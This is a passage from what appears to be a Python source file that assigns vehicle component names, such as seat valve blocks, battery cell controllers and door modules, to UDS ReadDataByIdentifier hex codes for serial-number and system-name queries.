"Valve_block_3_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab8] = "Switch_for_front_multicontour_seat_driver_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ab9] = "Valve_block_1_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aba] = "Valve_block_2_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abb] = "Valve_block_3_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abc] = "Switch_for_front_multicontour_seat_passenger_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abd] = "Valve_block_1_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abe] = "Valve_block_2_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6abf] = "Valve_block_3_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac0] = "Coolant_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac1] = "Seat_backrest_fan_1_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac2] = "Seat_backrest_fan_2_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac3] = "Seat_cushion_fan_1_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac4] = "Seat_cushion_fan_2_front_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac5] = "Seat_backrest_fan_1_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac6] = "Seat_backrest_fan_2_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac7] = "Seat_cushion_fan_1_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac8] = "Seat_cushion_fan_2_front_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ac9] = "Operating_and_display_unit_1_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aca] = "Operating_and_display_unit_2_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acb] = "Operating_and_display_unit_3_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acc] = "Operating_and_display_unit_4_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acd] = "Operating_and_display_unit_5_for_air_conditioning_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ace] = "Pedestrian_protection_left_hand_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6acf] = "Pedestrian_protection_right_hand_side_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad0] = "Battery_junction_box_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad1] = "Cell_module_controller_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad2] = "Cell_module_controller_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad3] = "Cell_module_controller_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad4] = "Cell_module_controller_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad5] = "Cell_module_controller_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad6] = "Cell_module_controller_6_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad7] = "Cell_module_controller_7_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad8] = "Cell_module_controller_8_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ad9] = "Cell_module_controller_9_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ada] = "Cell_module_controller_10_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adb] = "Cell_module_controller_11_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adc] = "Cell_module_controller_12_Serial_Number" UDS_RDBI.dataIdentifiers[0x6add] = "Seat_backrest_fan_1_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ade] = "Seat_backrest_fan_2_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6adf] = "Seat_cushion_fan_1_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae0] = "Seat_cushion_fan_2_rear_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae1] = "Seat_backrest_fan_1_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae2] = "Seat_backrest_fan_2_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae3] = "Seat_cushion_fan_1_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae4] = "Seat_cushion_fan_2_rear_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae5] = "Auxiliary_blower_motor_control_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae6] = "Auxiliary_blower_motor_control_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae7] = "Infrared_sender_for_front_observation_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae8] = "Starter_generator_control_module_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6ae9] = "Media_player_1_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aea] = "Media_player_2_sub_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aeb] = "Dedicated_short_range_communication_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aec] = "Refrigerant_pressure_and_temperature_sender_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aed] = "Refrigerant_pressure_and_temperature_sender_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aee] = "Refrigerant_pressure_and_temperature_sender_6_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aef] = "Air_coolant_actuator_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af0] = "Air_coolant_actuator_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af1] = "Cell_module_controller_13_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af2] = "Cell_module_controller_14_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af3] = "Cell_module_controller_15_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af5] = "Seat_heating_rear_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af6] = "LED_warning_indicator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af7] = "Automatic_transmission_fluid_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af8] = "Manual_transmission_fluid_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af9] = "Convenience_and_driver_assist_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afb] = "Air_coolant_actuator_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afc] = "Valve_block_4_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afd] = "Valve_block_4_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afe] = "Valve_block_4_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aff] = "Valve_block_4_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b01] = "Rear_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b02] = "Refrigerant_expansion_valve_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b03] = "Refrigerant_expansion_valve_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b04] = "Refrigerant_expansion_valve_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b05] = "Refrigerant_shut_off_valve_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b06] = "Refrigerant_shut_off_valve_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b07] = "Refrigerant_shut_off_valve_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b08] = "Refrigerant_shut_off_valve_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b09] = "Refrigerant_shut_off_valve_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0a] = "Sunlight_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0b] = "Near_field_communication_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0c] = "Clutch_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0d] = "Electrical_charger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0e] = "Rear_light_left_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0f] = "Rear_light_right_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b10] = "Rear_light_right_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b11] = "Sunlight_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b12] = "Radiator_shutter_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b13] = "Radiator_shutter_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b14] = "Radiator_shutter_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b15] = "Radiator_shutter_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b18] = "Special_key_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b19] = "Radio_interface_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1a] = "Video_self_protection_recorder_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1b] = "Special_vehicle_assist_interface_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1c] = "Electric_system_disconnection_diode_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1e] = "Belt_pretensioner_2nd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1f] = "Belt_pretensioner_2nd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b20] = "Electrical_variable_camshaft_phasing_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b21] = "Electrical_variable_camshaft_phasing_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b22] = "Wireless_operating_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b23] = "Wireless_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b24] = "Front_windshield_washer_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b25] = "Air_quality_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b26] = "Fragrancing_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b27] = "Coolant_valve_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b28] = "Near_field_communication_control_module_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b29] = "Interior_monitoring_rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2a] = "Cooler_fan_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2b] = "Control_unit_heating_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2c] = "Control_unit_heating_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2d] = "Control_unit_heating_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2e] = "Control_unit_heating_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2f] = "Operating_unit_drive_mode_selection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b30] = "Side_sensor_a-pillar_driver_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b31] = "Side_sensor_a-pillar_passenger_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b32] = "Sensor_high_voltage_system_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b33] = "Side_sensor_b-pillar_driver_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b34] = "Side_sensor_b-pillar_passenger_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b35] = "Multi_function_steering_wheel_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b36] = "Gear_selection_display_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b37] = "Cooler_fan_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b38] = "Gear_selector_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b39] = "Interior_light_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3a] = "Radio_control_center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3b] = "Multimedia_extension_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3c] = "Control_unit_differential_lock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3d] = "Control_unit_ride_control_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3e] = "Control_unit_hands_on_detection_steering_wheel_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3f] = "Front_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b40] = "Auxiliary_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b41] = "Card_reader_tv_tuner_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b42] = "Park_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b43] = "Media_connector_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b44] = "Catalyst_heating_Serial_Number" UDS_RDBI.dataIdentifiers[0x6c01] = "Control_unit_for_wiper_motor_System_Name" UDS_RDBI.dataIdentifiers[0x6c02] = "Rain_light_recognition_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c03] = "Light_switch_System_Name" UDS_RDBI.dataIdentifiers[0x6c04] = "Garage_door_opener_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c05] = "Garage_door_opener_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c06] = "Ignition_key_System_Name" UDS_RDBI.dataIdentifiers[0x6c07] = "Left_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c08] = "Right_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c09] = "Left_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c0a] = "LED_headlamp_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c0b] = "LED_headlamp_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c0c] = "LED_headlamp_powermodule_2_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c0d] = "LED_headlamp_powermodule_2_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c0e] = "Operating_and_display_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c0f] = "Operating_and_display_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c10] = "Right_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c11] = "Data_medium_System_Name" UDS_RDBI.dataIdentifiers[0x6c12] = "Drivers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c13] = "Front_passengers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c14] = "Left_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x6c15] = "Right_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x6c16] = "Sensor_for_anti_theft_alarm_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c17] = "Rear_lid_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c18] = "Alarm_horn_System_Name" UDS_RDBI.dataIdentifiers[0x6c19] = "Automatic_day_night_interior_mirror_System_Name" UDS_RDBI.dataIdentifiers[0x6c1a] = "Remote_control_auxiliary_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6c1b] = "Fresh_air_blower_front_System_Name" UDS_RDBI.dataIdentifiers[0x6c1c] = "Fresh_air_blower_back_System_Name" UDS_RDBI.dataIdentifiers[0x6c1d] = "Alternator_System_Name" UDS_RDBI.dataIdentifiers[0x6c1e] = "Interior_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c1f] = "Refrigerant_pressure_and_temperature_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c20] = "Sun_roof_System_Name" UDS_RDBI.dataIdentifiers[0x6c21] = "Steering_column_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x6c22] = "Anti_theft_tilt_system_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c23] = "Tire_pressure_monitor_antenna_System_Name" UDS_RDBI.dataIdentifiers[0x6c24] = "Heated_windshield_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c25] = "Rear_light_left_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c26] = "Ceiling_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c27] = "Left_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c28] = "Right_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c29] = "Control_module_for_auxiliary_air_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6c2a] = "Belt Pretensioner left_System_Name" UDS_RDBI.dataIdentifiers[0x6c2b] = "Belt Pretensioner right_System_Name" UDS_RDBI.dataIdentifiers[0x6c2c] = "Occupant Detection_System_Name" UDS_RDBI.dataIdentifiers[0x6c2d] = "Selector_lever_System_Name" UDS_RDBI.dataIdentifiers[0x6c2e] = "NOx_sensor_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c2f] = "NOx_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c30] = "Ioniser_System_Name" UDS_RDBI.dataIdentifiers[0x6c31] = "Multi_function_steering_wheel_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c32] = "Left_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c33] = "Right_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c34] = "Left_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c35] = "Right_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c36] = "Display_unit_1_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c37] = "Battery_monitoring_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c38] = "Roof_blind_System_Name" UDS_RDBI.dataIdentifiers[0x6c39] = "Sun_roof_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c3a] = "Steering_angle_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c3b] = "Lane_change_assistant 2_System_Name" UDS_RDBI.dataIdentifiers[0x6c3c] = "Pitch_rate_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c3d] = "ESP_sensor_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c3e] = "Electronic_ignition_lock_System_Name" UDS_RDBI.dataIdentifiers[0x6c3f] = "Air_quality_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c40] = "Display_unit_2_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c41] = "Telephone_handset_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c42] = "Chip_card_reader_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c43] = "Traffic_data_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x6c44] = "Hands_free_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c45] = "Telephone_handset_System_Name" UDS_RDBI.dataIdentifiers[0x6c46] = "Display_unit_front_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c47] = "Multimedia_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c48] = "Digital_sound_system_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c49] = "Electrically_adjustable_steering_column_System_Name" UDS_RDBI.dataIdentifiers[0x6c4a] = "Interface_for_external_multimedia_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c4b] = "Relative_Air_Humidity_Interior_Sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c4c] = "Drivers_door_rear_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c4d] = "Passengers_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c4e] = "Sensor_controlled_power_rear_lid_System_Name" UDS_RDBI.dataIdentifiers[0x6c4f] = "Camera_for_night_vision_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" UDS_RDBI.dataIdentifiers[0x6c51] = "Rear_spoiler_adjustment_System_Name" UDS_RDBI.dataIdentifiers[0x6c52] = "Roof_blind_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c53] = "Motor_for_wind_deflector_System_Name" UDS_RDBI.dataIdentifiers[0x6c54] = "Voltage_stabilizer_System_Name" UDS_RDBI.dataIdentifiers[0x6c55] = "Switch_module_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c56] = "Switch_module_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c57] = "Switch_module_for_rear_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c58] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c59] = "Switch_module_2_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c5a] = "Battery_charger_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c5b] = "Battery_charger_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c5c] = "Battery_charger_unit_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c5d] = "Air_conditioning_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x6c5e] = "Neck_heating_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c5f] = "Neck_heating_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c60] = "Switch_module_2_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c61] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c62] = "Compact_disc_database_System_Name" UDS_RDBI.dataIdentifiers[0x6c63] = "Rear_climatronic_operating_and_display_unit_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c64] = "Rear_climatronic_operating_and_display_unit_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c65] = "Door_handle_front_left_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c66] = "Door_handle_front_right_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c67] = "Door_handle_rear_left_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c68] = "Door_handle_rear_right_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c69] = "Power_converter_DC_AC_System_Name" UDS_RDBI.dataIdentifiers[0x6c6a] = "Battery_monitoring_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c6b] = "Matrix_headlamp_powermodule_1_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c6c] = "Matrix_headlamp_powermodule_1_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c6d] = "High_beam_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c6e] = "High_beam_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c6f] = "Air_suspension_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x6c70] = "Rear_brake_actuator_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c71] = "Rear_brake_actuator_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c72] = "Analog_clock_System_Name" UDS_RDBI.dataIdentifiers[0x6c73] = "Rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c79] = "Data_medium_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c7a] = "Operating_unit_center_console_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c7b] = "Operating_unit_center_console_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c7c] = "Operating_unit_center_console_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c7d] = "Operating_unit_center_console_4_System_Name" UDS_RDBI.dataIdentifiers[0x6c7e] = "Interface_for_radiodisplay_System_Name" UDS_RDBI.dataIdentifiers[0x6c7f] = "Parkassist_entry_System_Name" UDS_RDBI.dataIdentifiers[0x6c86] = "Belt_pretensioner_3rd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c87] = "Belt_pretensioner_3rd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c88] = "Injection_valve_heater_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c89] = "Steering_column_switch_System_Name" UDS_RDBI.dataIdentifiers[0x6c8a] = "Brake_assistance_System_Name" UDS_RDBI.dataIdentifiers[0x6c8b] = "Trailer_articulation_angle_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c8c] = "Cup_holder_with_heater_and_cooling_element_System_Name" UDS_RDBI.dataIdentifiers[0x6c8d] = "Range_of_vision_sensing_System_Name" UDS_RDBI.dataIdentifiers[0x6c8e] = "Convenience_and_driver_assist_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c8f] = "Cradle_rear_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c90] = "Trailer_weight_nose_weight_detection_System_Name" UDS_RDBI.dataIdentifiers[0x6c91] = "Sensor_carbon_dioxide_concentration_System_Name" UDS_RDBI.dataIdentifiers[0x6c92] = "Sensor_fine_dust_concentration_System_Name" UDS_RDBI.dataIdentifiers[0x6c93] = "Volume_control_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c94] = "Belt_buckle_presenter_2nd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c95] = "Belt_buckle_presenter_2nd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c96] = "Operating_and_display_unit_6_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6c97] = "Active_accelerator_pedal_System_Name" UDS_RDBI.dataIdentifiers[0x6c98] = "Multimedia_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c99] = "Display_unit_3_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9a] = "Display_unit_4_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9b] = "Display_unit_5_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9c] = "Control_module_for_auxiliary_blower_motors_System_Name" UDS_RDBI.dataIdentifiers[0x6c9d] = "Operating_and_display_unit_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c9e] = "Operating_and_display_unit_4_System_Name" UDS_RDBI.dataIdentifiers[0x6c9f] = "Operating_and_display_unit_5_System_Name" UDS_RDBI.dataIdentifiers[0x6ca0] = "Side Sensor Driver Front_System_Name" UDS_RDBI.dataIdentifiers[0x6ca1] = "Side Sensor Passenger Front_System_Name" UDS_RDBI.dataIdentifiers[0x6ca2] = "Side Sensor Driver Rear_System_Name" UDS_RDBI.dataIdentifiers[0x6ca3] = "Side Sensor Passenger Rear_System_Name" UDS_RDBI.dataIdentifiers[0x6ca4] = "Front Sensor Driver_System_Name" UDS_RDBI.dataIdentifiers[0x6ca5] = "Front Sensor Passenger_System_Name" UDS_RDBI.dataIdentifiers[0x6ca6] = "Pedestrian Protection Driver_System_Name" UDS_RDBI.dataIdentifiers[0x6ca7] = "Pedestrian Protection Passenger_System_Name" UDS_RDBI.dataIdentifiers[0x6ca8] = "Rear Sensor Center_System_Name" UDS_RDBI.dataIdentifiers[0x6ca9] = "Pedestrian Protection Center_System_Name" UDS_RDBI.dataIdentifiers[0x6caa] = "Pedestrian Protection Contact_System_Name" UDS_RDBI.dataIdentifiers[0x6cab] = "Pedestrian_protection_driver_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cac] = "Pedestrian_protection_passenger_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cad] = "Central_sensor_XY_System_Name" UDS_RDBI.dataIdentifiers[0x6cae] = "Refrigerant_pressure_and_temperature_sender_2_System_Name" UDS_RDBI.dataIdentifiers[0x6caf] = "Refrigerant_pressure_and_temperature_sender_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cb0] = "Switch_for_rear_multicontour_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb1] = "Valve_block_1_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb2] = "Valve_block_2_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb3] = "Valve_block_3_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb4] = "Switch_for_rear_multicontour_seat_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb5] = "Valve_block_1_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb6] = "Valve_block_2_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb7] = "Valve_block_3_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb8] = "Switch_for_front_multicontour_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb9] = "Valve_block_1_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cba] = "Valve_block_2_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbb] = "Valve_block_3_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbc] = "Switch_for_front_multicontour_seat_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cbd] = "Valve_block_1_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbe] = "Valve_block_2_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbf] = "Valve_block_3_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cc0] = "Coolant_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6cc1] = "Seat_backrest_fan_1_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc2] = "Seat_backrest_fan_2_front_left_System_Name" 